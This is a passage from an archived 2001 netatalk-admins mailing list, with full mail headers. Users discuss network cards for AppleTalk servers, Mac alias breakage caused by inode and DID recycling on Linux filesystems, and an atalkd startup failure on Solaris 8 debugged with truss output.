http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Fri May 18 12:48:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA05991
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 12:48:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA23598
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 12:48:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA23590
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 12:48:42 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA23539
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 12:48:40 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 18 May 2001 16:49:06 UT
Received: from [172.29.11.2] [172.29.11.2] by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v4.0.0.R)
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 18:50:12 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 18 May 2001 18:46:29 +0200
Subject: Re: Probably FAQ - which network card?
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B72B1E85.29082%ts@visual-s.de>
In-Reply-To: <000b01c0dfa8$8beae220$0201a8c0@local>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

On 01-05-18 16:39 +0200, Anton Coetzee wrote:

> Suitable cards I have heard about are the SMC Etherpower series, and the
> Intel Etherexpress.

My SuSE 7.0 server equipped with an SMC Etherpower II card exhibits
slight problems on startup -- sometimes the NIC refuses to work and
I have to reboot several times in a row to get networking up and
running. 

In addition, due to the Ethernet FAQ, hardware multicast support of the
83c170 chipset is broken and therefore done in software. Because AppleTalk
makes rather heavy use of multicast, you might prefer a NIC with
working hardware multicast support at least for netatalk servers under
heavy load. 

Probably an Intel Etherexpress NIC is the best bet for netatalk servers.


-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Fri May 18 13:37:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07238
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 13:37:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA27348
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 13:37:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA27342
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 13:37:21 -0400 (EDT)
Received: from graphpoint.com (atlmail2.webhosting.interliant.com [209.235.64.225])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA27321
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 13:37:19 -0400 (EDT)
Date: Fri, 18 May 2001 13:30:22 -0400
Message-Id: <200105181330.AA1196032348@graphpoint.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Richard Goldman" <rgml@graphpoint.com>
Reply-To: <rgml@graphpoint.com>
To: <netatalk-admins@umich.edu>
Subject: Aliases:  Are alternate filesystems worth trying?
X-Mailer: <IMail v6.05>

Dear People,

A question, please, and your knowledge, and even guesses would 
be much appreciated:

I know from previous discussion that Macintosh aliases become 
"unhinged" from the files or directories they are supposed to point 
to because the alias contains some kind of ID (did?  inode?) that 
gets recycled by Linux.  Because of this (and the fact that the 
absolute path of the file isn't stored in the alias), the Mac alias can 
end up pointing somewhere else entirely.  At least such is my 
understanding.

So here's the question:

Is it Linux itself, at some "virtual" filesystem level, that is re-cycling 
these ID's, or is it due to the nature and operations of the ext2 
filesystem?

Put another way, is the alias problem (re: 1.5pre6 and previous) 
endemic to Linux, or do you think I'll have better luck if I try another 
filesystem (managable under Linux) such as ReiserFS or ext3 or 
???

Thank you in advance for your time and thoughts.

Sincerely,
Richard

From netatalk.administrators-errors@umich.edu  Fri May 18 13:39:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07336
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 13:39:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06541
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 13:39:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06513
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 13:39:17 -0400 (EDT)
Received: from graphpoint.com (atlmail2.webhosting.interliant.com [209.235.64.225])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA06474
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 13:39:16 -0400 (EDT)
Date: Fri, 18 May 2001 13:32:19 -0400
Message-Id: <200105181332.AA3451519180@graphpoint.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Richard Goldman" <rgml@graphpoint.com>
Reply-To: <rgml@graphpoint.com>
To: <netatalk-admins@umich.edu>
Subject: Aliases:  Are alternate filesystems worth trying?
X-Mailer: <IMail v6.05>

Dear People,

A question, please, and your knowledge, and even guesses would 
be much appreciated:

I know from previous discussion that Macintosh aliases become 
"unhinged" from the files or directories they are supposed to point 
to because the alias contains some kind of ID (did?  inode?) that 
gets recycled by Linux.  Because of this (and the fact that the 
absolute path of the file isn't stored in the alias), the Mac alias can 
end up pointing somewhere else entirely.  At least such is my 
understanding.

So here's the question:

Is it Linux itself, at some "virtual" filesystem level, that is re-cycling 
these ID's, or is it due to the nature and operations of the ext2 
filesystem?

Put another way, is the alias problem (re: 1.5pre6 and previous) 
endemic to Linux, or do you think I'll have better luck if I try another 
filesystem (managable under Linux) such as ReiserFS or ext3 or 
???

Thank you in advance for your time and thoughts.

Sincerely,
Richard

From netatalk.administrators-errors@umich.edu  Fri May 18 13:39:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07371
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 13:39:41 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00227
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 13:39:41 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00212
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 13:39:40 -0400 (EDT)
Received: from hotmail.com (f308.law10.hotmail.com [64.4.14.183])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA00188
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 13:39:40 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 18 May 2001 10:39:39 -0700
Received: from 168.190.200.9 by lw10fd.law10.hotmail.msn.com with HTTP;	Fri, 18 May 2001 17:39:39 GMT
X-Originating-IP: [168.190.200.9]
From: "Brandon Caudle" <bcaudle@hotmail.com>
To: netatalk-admins@umich.edu
Subject: subscribe 
Date: Fri, 18 May 2001 13:39:39 -0400
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F308WFfp9tIHGeAb7dJ0000c2a4@hotmail.com>
X-OriginalArrivalTime: 18 May 2001 17:39:39.0569 (UTC) FILETIME=[8395D210:01C0DFC1]


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From netatalk.administrators-errors@umich.edu  Fri May 18 14:12:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA08398
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 14:12:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA00047
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 14:12:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA00031
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 14:12:39 -0400 (EDT)
Received: from revere3.musc.edu (revere3.musc.edu [128.23.203.10])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA29992
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 14:12:38 -0400 (EDT)
Received: from D8H1FF01 ([128.23.211.115])
	by revere3.musc.edu (8.8.8/8.8.8) with ESMTP id OAA27986;
	Fri, 18 May 2001 14:12:36 -0400 (EDT)
Date: Fri, 18 May 2001 14:14:19 -0400
From: Stephen VanPelt <vanpelts@musc.edu>
To: rgml@graphpoint.com, netatalk-admins@umich.edu
Subject: Re: Aliases:  Are alternate filesystems worth trying?
Message-ID: <2352781664.990195259@D8H1FF01>
In-Reply-To: <200105181332.AA3451519180@graphpoint.com>
Originator-Info: login-id=vanpelts; server=imap.musc.edu
X-Mailer: Mulberry/2.0.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Richard,

I've got a Redhat 7.1 box up running SGI's newly released (at least, newly 
released outside of their own systems) XFS file system.  In my trials, I'll 
check it out to see if this is a problem on my platform, and I'll let you 
know.


Stephen VanPelt
Information Technology Consultant
MUSC Center for Drug and Alcohol Programs
PH: 843-792-5558 Internet:   vanpelts@musc.edu


__________________BEGIN FOOTER___________________
**The Views Expressed by the Author of this Message are not **
**necessarily those of the Medical University of South Carolina**

--On Friday, May 18, 2001 1:32 PM -0400 Richard Goldman 
<rgml@graphpoint.com> wrote:

> Dear People,
>
> A question, please, and your knowledge, and even guesses would
> be much appreciated:
>
> I know from previous discussion that Macintosh aliases become
> "unhinged" from the files or directories they are supposed to point
> to because the alias contains some kind of ID (did?  inode?) that
> gets recycled by Linux.  Because of this (and the fact that the
> absolute path of the file isn't stored in the alias), the Mac alias can
> end up pointing somewhere else entirely.  At least such is my
> understanding.
>
> So here's the question:
>
> Is it Linux itself, at some "virtual" filesystem level, that is
> re-cycling  these ID's, or is it due to the nature and operations of the
> ext2  filesystem?
>
> Put another way, is the alias problem (re: 1.5pre6 and previous)
> endemic to Linux, or do you think I'll have better luck if I try another
> filesystem (managable under Linux) such as ReiserFS or ext3 or
> ???
>
> Thank you in advance for your time and thoughts.
>
> Sincerely,
> Richard
>





Stephen VanPelt
Information Technology Consultant
MUSC Center for Drug and Alcohol Programs
PH: 843-792-5558 Internet:   vanpelts@musc.edu


__________________BEGIN FOOTER___________________
**The Views Expressed by the Author of this Message are not **
**necessarily those of the Medical University of South Carolina**

From netatalk.administrators-errors@umich.edu  Fri May 18 16:02:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA12924
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 16:02:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12816
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 16:02:17 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12775
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 16:02:16 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA12747
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 16:02:14 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 18 May 2001 20:02:41 UT
Received: from [172.29.11.2] [172.29.11.2] by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v4.0.0.R)
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 22:03:06 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 18 May 2001 21:59:25 +0200
Subject: Re: Aliases:  Are alternate filesystems worth trying?
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B72B4BBD.290A9%ts@visual-s.de>
In-Reply-To: <200105181332.AA3451519180@graphpoint.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

On 01-05-18 19:32 +0200, "Richard Goldman"<rgml@graphpoint.com> wrote:

> [ ... ]
> to because the alias contains some kind of ID (did?  inode?) that
> gets recycled by Linux.
> [ ... ]

DIDs (directory IDs) to the best of my knowledge are unique to
HFS/HFS+ volumes. Every file on a HFS volume gets a *true* unique
identifier ID assigned -- the ID number will never ever get recycled
for a given volume.

> Is it Linux itself, at some "virtual" filesystem level, that is re-cycling
> these ID's, or is it due to the nature and operations of the ext2
> filesystem?

netatalk assigns non-permanent DIDs just in RAM for a users session,
if that user logs out, DIDs get flushed from memory

> Put another way, is the alias problem (re: 1.5pre6 and previous)
> endemic to Linux, or do you think I'll have better luck if I try another
> filesystem (managable under Linux) such as ReiserFS or ext3 or

1.5pre6 compiled with permanent DIDs works as advertised for me :-)
just give it a try!

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Fri May 18 17:59:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA17807
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 17:59:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA06063
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 17:59:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA06045
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 17:59:27 -0400 (EDT)
Received: from toccata.netconnect.net (toccata.netconnect.net [152.156.2.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA06017
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 17:59:26 -0400 (EDT)
Received: from netconnect.net (hosta.netconnect.net [152.156.2.1])
	by toccata.netconnect.net (8.11.0/8.11.0) with ESMTP id f4ILwZH04239
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 14:58:37 -0700 (PDT)
Message-ID: <3B059B3A.8A7BFE0A@netconnect.net>
Date: Fri, 18 May 2001 15:01:07 -0700
From: Greg <greg@netconnect.net>
Reply-To: greg@netconnect.net
Organization: Netconnect Services Group
X-Mailer: Mozilla 4.73 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Problems running on Solaris 8 Intel
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Trying to run 1.4b2+asun2.1.4 on Solaris 8 10/00 for the X86.
Seemed to build okay, made a -DPASSWD change, and used TCPWRAPPERS
but no crypt or kerb.

I'm able to build and install the progs and the driver, but when
atalkd runs, I get the following:

AppleTalk not up! Child exited with 1.

I did a truss on atalkd and saw:
710:    read(4, " T Z i f\0\0\0\0\0\0\0\0".., 8192)     = 1000
710:    close(4)                                        = 0
710:    getpid()                                        = 710 [709]
710:    putmsg(3, 0x08046654, 0x08046648, 0)            = 0
710:    open("/var/run/syslog_door", O_RDONLY)          = 4
710:    door_info(4, 0x080465E4)                        = 0
710:    getpid()                                        = 710 [709]
710:    door_call(4, 0x080465CC)                        = 0
710:    close(4)                                        = 0
710:    open("/dev/iprb", O_RDWR)                       = 4
710:    ioctl(4, I_PUSH, "ddp")                         = 0
710:    ioctl(4, 0x80047336, 0x08046DD8)                Err#22 EINVAL
710:    fxstat(2, 3, 0x08046B7C)                        = 0
710:    time()                                          = 990220688
710:    getpid()                                        = 710 [709]
710:    putmsg(3, 0x08046234, 0x08046228, 0)            = 0
710:    open("/var/run/syslog_door", O_RDONLY)          = 5
710:    door_info(5, 0x080461C4)                        = 0
710:    getpid()                                        = 710 [709]
710:    door_call(5, 0x080461AC)                        = 0
710:    close(5)                                        = 0
710:    llseek(0, 0, SEEK_CUR)                          = 182142
710:    llseek(0, 0, SEEK_CUR)                          = 182142
710:    _exit(1)
709:    times(0x0804710C)                               = 644287
709:    waitid(P_ALL, 0, 0x0804711C, WEXITED|WTRAPPED|WSTOPPED) = 0
709:    write(2, " A p p l e T a l k   n o".., 17)      = 17


It would appear that it's failing with an invalid request for iprb,
my intel ehternet board, to push the ddp stream stack (or some such
gobbledygook).

Here's what's on the messages file:
May 18 14:18:08 t2 ddp: [ID 408061 kern.notice] dlpi_rput DL_ERROR_ACK 0x8
May 18 14:18:08 t2 atalkd[710]: [ID 546702 daemon.error] IF_UNITSEL: Invalid argument

from looking at the code, it looks like the rput routine in the dlpi module
is getting an unexpected or invalid ack.  I dont know if the two problems
are related.

Any help would be appreciated!

Thanks,
	Greg Maples

From netatalk.administrators-errors@umich.edu  Sat May 19 02:12:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA04464
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 19 May 2001 02:12:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA09271
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 19 May 2001 02:12:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA09263
	for netatalk.administrators-members@umich.edu; Sat, 19 May 2001 02:12:45 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA09180
	for <netatalk-admins@umich.edu>; Sat, 19 May 2001 02:12:41 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id QAA13992;
	Sat, 19 May 2001 16:11:05 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3B060E73.27D0DC9B@arts.usyd.edu.au>
Date: Sat, 19 May 2001 16:10:59 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.4-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Thomas Schierle <ts@visual-s.de>
CC: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: Aliases:  Are alternate filesystems worth trying?
References: <B72B4BBD.290A9%ts@visual-s.de>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms85A1CF17331EC91CB3E42D39"

This is a cryptographically signed message in MIME format.

--------------ms85A1CF17331EC91CB3E42D39
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Schierle wrote:
> 
> On 01-05-18 19:32 +0200, "Richard Goldman"<rgml@graphpoint.com> wrote:
> 
> > [ ... ]
> > to because the alias contains some kind of ID (did?  inode?) that
> > gets recycled by Linux.

> > Is it Linux itself, at some "virtual" filesystem level, that is re-cycling
> > these ID's, or is it due to the nature and operations of the ext2
> > filesystem?
> 
> netatalk assigns non-permanent DIDs just in RAM for a users session,
> if that user logs out, DIDs get flushed from memory
> 
> > Put another way, is the alias problem (re: 1.5pre6 and previous)
> > endemic to Linux, or do you think I'll have better luck if I try another
> > filesystem (managable under Linux) such as ReiserFS or ext3 or
> 
> 1.5pre6 compiled with permanent DIDs works as advertised for me :-)
> just give it a try!

 The 1.5pre has a 'hack' where DIDs are caculated based on the Inode and
device numbers. This does give persistance. However Inodes get recycled,
no do not make an idea replacement for a DID.
 Linux in particular has an agressive cache. Delete a directory and
immediatly create another and it will recycle the old Inode right away.
NetAtalk can notice this and spit out a DID conflict error into the
system log.
 Depending on your  application this may or may not be a problem.
 Different file systems and different unix's have different  inode
allocation stragies, all have the same inode recycling possiblity.

 SGI's XFS may be better in this regard as apparently its 'inode'
numbers actually encode a disk address of where to find the file, so XFS
inodes are probably less likely to recycle, but the system could start
(and probably would) allocating blocks for a new file right where one
was just freed and thus end up with the same 'encoded inode'.

 At some point I must try helios lantest on my XFS test volume. It
creates and deletes lots of directories as part of its tests. It can
cause a 'DID conflict' message every time. The conflict message however
doesn't impact on lantest at all.

 In my application, most NetAtalk users are using their own space, I
don't have a situtation where large numbers of directorys are being
created and distroyed all the time in a common share accessed by many,
where a re-used DID could cause havok...
--------------ms85A1CF17331EC91CB3E42D39
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwNTE5MDYxMTAwWjAjBgkq
hkiG9w0BCQQxFgQUXyae68fM81lNz8cVsvhdDyCFRXkwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYA7WhjEWee0oX/09ecasA8XuiuBuEcaawIrRoNw6DC2gf1TTHRHs5B7f7Q00LzR6Il1l0he
4WZ/Zt2yboE0NlDiTNO8LBF57s/oFYgrjFLLaFv1PYeksTqzcKdaN7PGn5OKsTSzLtCVd/ha
YkWQ0ImvxXeKTqIAo4BwRCFF87LpcA==
--------------ms85A1CF17331EC91CB3E42D39--


From netatalk.administrators-errors@umich.edu  Sat May 19 13:10:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA21402
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 19 May 2001 13:10:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14194
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 19 May 2001 13:10:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14188
	for netatalk.administrators-members@umich.edu; Sat, 19 May 2001 13:10:29 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
